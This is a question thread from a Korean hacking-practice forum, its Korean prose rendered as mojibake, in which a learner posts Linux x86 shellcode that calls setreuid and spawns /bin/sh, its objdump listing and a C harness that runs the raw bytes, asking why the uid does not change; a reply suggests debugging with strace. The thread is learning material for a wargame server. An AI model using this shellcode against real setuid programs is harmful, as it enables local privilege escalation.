½Ã½ºÅÛ ÇØÅ·

 1574, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   binoopang
   http://mercury.chonnam.ac.kr/~dalkong/
   ½©Äڵ带 ¸¸µé¾ú´Âµ¥ Áú¹®ÀÌ ÀÖ½À´Ï´Ù

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=742 [º¹»ç]


¾È³çÇϼ¼¿ä BOF¸¦ °øºÎÇϸ鼭 ½©Äڵ带 ¸¸µé¾ú½À´Ï´Ù.
¿©±â ÇØÄ¿½ºÄð ¼­¹ö¸¦ »ç¿ëÇߴµ¥¿ä ..
·¹º§ 9 ¿¡¼­ ½©Äڵ带 ¸¸µé¾î¼­ ·¹º§ 1¿¡¼­ ½©Äڵ带 ½ÇÇàÇϸé uid°¡
·¹º§ 9·Î ¹Ù²î°Ô ¸¸µé¾ú½À´Ï´Ù.
¹®Á¦´Â ÀÌ°Ô ¾î¼Àºí¸®ÄÚµå·Î ÄÚµùÇÑ°É ÄÄÆÄÀÏÇϸé Á¦´ë·Î ÀÛµ¿Çϴµ¥
ÀÌ°ÍÀ» ±â°è¾î·Î ¹Ù²ã¼­ c¾ð¾î·Î ÄÚµùÇÑ´ÙÀ½ ½ÇÇàÇÏ¸é ½©Àº ¶ç¿öÁö´Âµ¥
uid ´Â ¹Ù²îÁö°¡ ¾Ê½À´Ï´Ù.
ÀúÀÇ ½©Äڵ带 ¿Ã¸³´Ï´Ù!

--------------- ½©ÄÚµå (¾î¼Àºí¸® ÄÚµå) ------------------------------

void main()
{
// À̺κÐÀÌ setreuid ºÎºÐÀÔ´Ï´Ù.
__asm__ __volatile__(
"mov $0xbc1, %bx        \n\t" // NULLÁ¦°Å ÇÏ·Á°í bx¿¡ 3009(uid)³Ö¾ú½À´Ï´Ù.
"mov $0xbc1, %cx        \n\t" // NULLÁ¦°Å ÇÏ·Á°í cx¿¡ 3009(uid)³Ö¾ú½À´Ï´Ù.
"mov $0x46, %al \n\t" // setreuid ¹øÈ£ÀÎ 46À» al¿¡ ³Ö¾ú±¸¿ä.
"int $0x80      \n\t" // ÀÎÅÍ·´Æ®¸¦ °É¾ú½À´Ï´Ù.

// ¿©±â¼­ºÎÅÍ´Â ½©ÄÚµå ÀÔ´Ï´Ù.
"xor %eax, %eax \n\t"
"push %eax      \n\t"
"push $0x68732f2f       \n\t"
"push $0x6e69622f       \n\t"
"mov %esp, %ebx \n\t"
"push %eax      \n\t"
"push %ebx      \n\t"
"mov %esp, %ecx \n\t"
"mov %eax, %edx \n\t"
"mov $0xb, %al  \n\t"
"int $0x80      \n\t"
);
}

---------------------------------------------------------------

À§ÀÇ ¼Ò½º´Â ÄÄÆÄÀÏÇϸé Àß ÀÛµ¿ÇÕ´Ï´Ù. ÄÄÆÄÀϳ¡³ª°í ·¹º§9·Î
setuid ºñÆ® °É¾îÁÖ°í³ª¼­ ·¹º§1¿¡¼­ ½ÇÇàÇϸé uid°¡ ·¹º§9·Î ¹Ù²ò´Ï´Ù.

À̹ø¿¡´Â À§¿¡ ¼Ò½º¸¦ ÄÄÆÄÀÏÇÏ°í³ª¼­ objdump·Î ¶á°ÍÀÔ´Ï´Ù.

---------------------------------------------------------------------

080482f4 <main>:
80482f4:       55                      push   %ebp
80482f5:       89 e5                   mov    %esp,%ebp
80482f7:       83 ec 08                sub    $0x8,%esp
80482fa:       83 e4 f0                and    $0xfffffff0,%esp
80482fd:       b8 00 00 00 00          mov    $0x0,%eax
8048302:       29 c4                   sub    %eax,%esp
8048304:       66 bb c1 0b             mov    $0xbc1,%bx
8048308:       66 b9 c1 0b             mov    $0xbc1,%cx
804830c:       b0 46                   mov    $0x46,%al
804830e:       cd 80                   int    $0x80
8048310:       31 c0                   xor    %eax,%eax
8048312:       50                      push   %eax
8048313:       68 2f 2f 73 68          push   $0x68732f2f
8048318:       68 2f 62 69 6e          push   $0x6e69622f
804831d:       89 e3                   mov    %esp,%ebx
804831f:       50                      push   %eax
8048320:       53                      push   %ebx
8048321:       89 e1                   mov    %esp,%ecx
8048323:       89 c2                   mov    %eax,%edx
8048325:       b0 0b                   mov    $0xb,%al
8048327:       cd 80                   int    $0x80
8048329:       c9                      leave
804832a:       c3                      ret
804832b:       90                      nop

---------------------------------------------------------------------

main ºÎºÐ¸¸ µû·Î »°½À´Ï´Ù. À§¿Í°°ÀÌ ³ª¿Í¼­ ÀÌÁ¦ ±â°è¾î ºÎºÐ¸¸ µû·Î
»©¼­ ÄÚµùÀ» Çß½À´Ï´Ù. ÀÌÁ¦ ¾Æ·¡¿¡ ³ª¿À´Â ¼Ò½º°¡ ¹®Á¦ÀÇ ¼Ò½ºÀÔ´Ï´Ù.

---------------------------------------------------------------------

char sc[] =
// À̺κÐÀÌ setreuid()ºÎºÐÀÔ´Ï´Ù.
"\x66\xbb\xc1\x0b\x66\xb9\xc1\x0b\xb0\x46\xcd\x80"
// ¾Æ·¡ºÎºÐÀº ½©ÄÚµå ºÎºÐÀÔ´Ï´Ù.
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";

int main()
{
        void (*pointer)(void);
        pointer=(void*)sc;
        pointer();
}

----------------------------------------------------------------------
ÀÌ°É ÄÄÆÄÀÏÇÏ°í³ª¼­ ·¹º§9·Î setuid ºñÆ® °É¾îÁØ´ÙÀ½ ·¹º§1¿¡¼­ ½ÇÇàÇϸé
·¹º§9·Î uid°¡ ¹Ù²î¾î¾ß Çϴµ¥ ¹Ù²îÁö ¾Ê½À´Ï´Ù.
´ÜÁö ½©¸¸ ¶å´Ï´Ù.. (·¹º§1ÀÇ ½©)

ÀÌÀ¯°¡ ¹«¾ùÀÎÁö ¸ð¸£°Ú½À´Ï´Ù. ¾î¼Àºí¸® ÄÚµå´Â Àß ÀÛµ¿Çϴµ¥ ¶È°°ÀÌ
±â°è¾î·Î¸¸ ¹Ù²Ù¾ú´Âµ¥ ÀÛµ¿ÀÌ ¾ÈµË´Ï´Ù ..

¿¡±¸ Áú¹®ÀÌ ³Ê¹« ±æ¾ú³×¿ä ...
Ȥ½Ã ¾Æ½Ã´ÂºÐ ´äº¯ ºÎŹµå¸³´Ï´Ù ¤Ð

ÁÁÀº ¹ã µÇ¼¼¿ä ~

  Hit : 3812     Date : 2007/07/14 12:07



    
indra Á˼ÛÇÕ´Ï´Ù¸¸... ¸Ç À§ÀÇ Äڵ嵵 À߸ø ¸¸µå¼Ì½À´Ï´Ù... xor·Î ·¹Áö½ºÅ͸¦ ÃʱâÈ­ ½ÃÅ°Áö ¾Ê°í ÇÏÀ§ ÁÖ¼Ò·Î °ªÀ» ¾´ °Å °°Àºµ¥ ½ÇÇà ¾È µÉ °Í °°±º¿ä... 2007/07/18
indra ¸¸¾à ½©ÀÌ level9 ±ÇÇÑÀ¸·Î ¶¹´Ù¸é... setuid ¸¦ °É¾ú±â ¶§¹®ÀÌÁö, setreuidÀÇ ¿µÇâÀÌ ¾Æ´Ò °Í °°½À´Ï´Ù... strace ¶ó´Â ¸í·ÉÀÌ ÀÖÀ¸´Ï ±× ¸í·ÉÀ¸·Î 2007/07/18
indra À§ÀÇ ÄÚµåµéÀ» ½ÇÇàÇÏ¿© setreuid()°¡ Àß ½ÇÇàµÇ´ÂÁö °Ë»çÇØ º¸¼¼¿ä.. 2007/07/18
indra ±×¸®°í ¾Æ·¡ÀÇ CÄڵ嵵... objdump¸¦ ¶á Á¦ÀÏ Ã³À½, push %ebp ÀÎ \x55 ºÎÅÍ Àû¾îÁÖ´Â°Ô ¸Â½À´Ï´Ù.. 2007/07/18
indra »ðÁú ¿­½ÉÈ÷ Çϼż­ ÁÁÀº°á°ú Àֱ⸦ ¹Ù¶ö²²¿ä... »ðÁúÀÌ ÃÖ°ö´Ï´Ù.. ¤» 2007/07/18
1574   pwnable.kr echo1 Áú¹®2 (½ºÆ÷ ÁÖÀÇ)[2]     turttle2s
10/05 1243
1573   LOB GATE¹®Á¦ Ç®¸é¼­ ±Ã±ÝÇÑÁ¡[3]     hackxx123
08/24 949
1572   libc°ü·Ã - 2[5]     lMaxl04
08/24 887
1571   ASLRÀÌ °É·ÁÀÖÀ»¶§ ret¿¡ ROPÀ¸·Î jmp %espÀ» »ç¿ëÇÑ °æ¿ì.[3]     lMaxl04
06/29 1153
1570   ¸®¸ðÆ® ȯ°æ¿¡¼­ÀÇ ½ºÅà ÁÖ¼Ò È®ÀÎ ¹æ¹ýÀÌ ±Ã±ÝÇÕ´Ï´Ù.[2]     lMaxl04
06/16 946
1569   ÇØÅ· ÇÁ¸®¼­¹ö ¾ø¾îÁ³³ª¿ä?[1]     terfkim
04/15 1727
1568   ½ºÅÿ¡ µ¥ÀÌÅÍ ³ÖÀ» ¶§ SIGSEGV[4]     turttle2s
02/04 1459
1567   pwnable.kr echo1 Áú¹®[2]     turttle2s
06/17 1729
1566   ROP strcpy °ü·Ã Áú¹®ÀÔ´Ï´Ù.[3]     heeyoung0511
06/16 1578
1565   Level2 -> Level3 ¿¡¼­ vi¿Í /usr/bin/EditorÀÇ Â÷ÀÌ[2]     hyemin1826
07/18 1852
1564   Trainer3 ftz.hackerschool.org È£½ºÆ® Á¢¼Ó ºÒ°¡[1]     hyemin1826
07/18 3222
1563   dllÀÎÁ§¼Ç ½ÇÇèÁß Áú¹® µå¸³´Ï´Ù.[1]     kkk477
05/31 1850
1562   ÆÐŶ º¹È£È­¸¦ ¸¶½ºÅÍ ÇÏ·Á¸é ¾î¶² °úÁ¤ÀÌ ÀÖ¾î¾ßÇϳª¿ä?     sa0814
04/01 1695
1561   »ç±â[2]     jas08
03/31 1995
1560   ½Ã½ºÅÛ ÄÝÀÌ °¡´ÉÇÑ ¸Þ¸ð¸® ¿µ¿ª°ú ºÒ°¡´ÉÇÑ ¸Þ¸ð¸® ¿µ¿ªÀÌ Á¸ÀçÇϳª¿ä?     ocal
03/30 1736
1559   pwntools »ç¿ë½Ã¿Í ±âº» socket ¸ðµâ ÀÌ¿ë½Ã Â÷ÀÌ?[4]     ocal
01/09 2276
1558   lob level19(nightmare) °ü·ÃÁú¹®[1]     dnjsdnwja
12/18 1740
1557   ftz level2 Áú¹®ÀÖ½À´Ï´Ù[1]     kihyun1998
12/13 1830
1556   ftz level2¹ø Ǫ´Âµ¥¿ä ±ÇÇÑÀÌ...     kihyun1998
12/06 1707
1555   ½Ã½ºÅÛÇØÅ·ÇÒ¶§ [3]     thsrhkdwns
12/05 2189
1 [2][3][4][5][6][7][8][9][10]..[79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org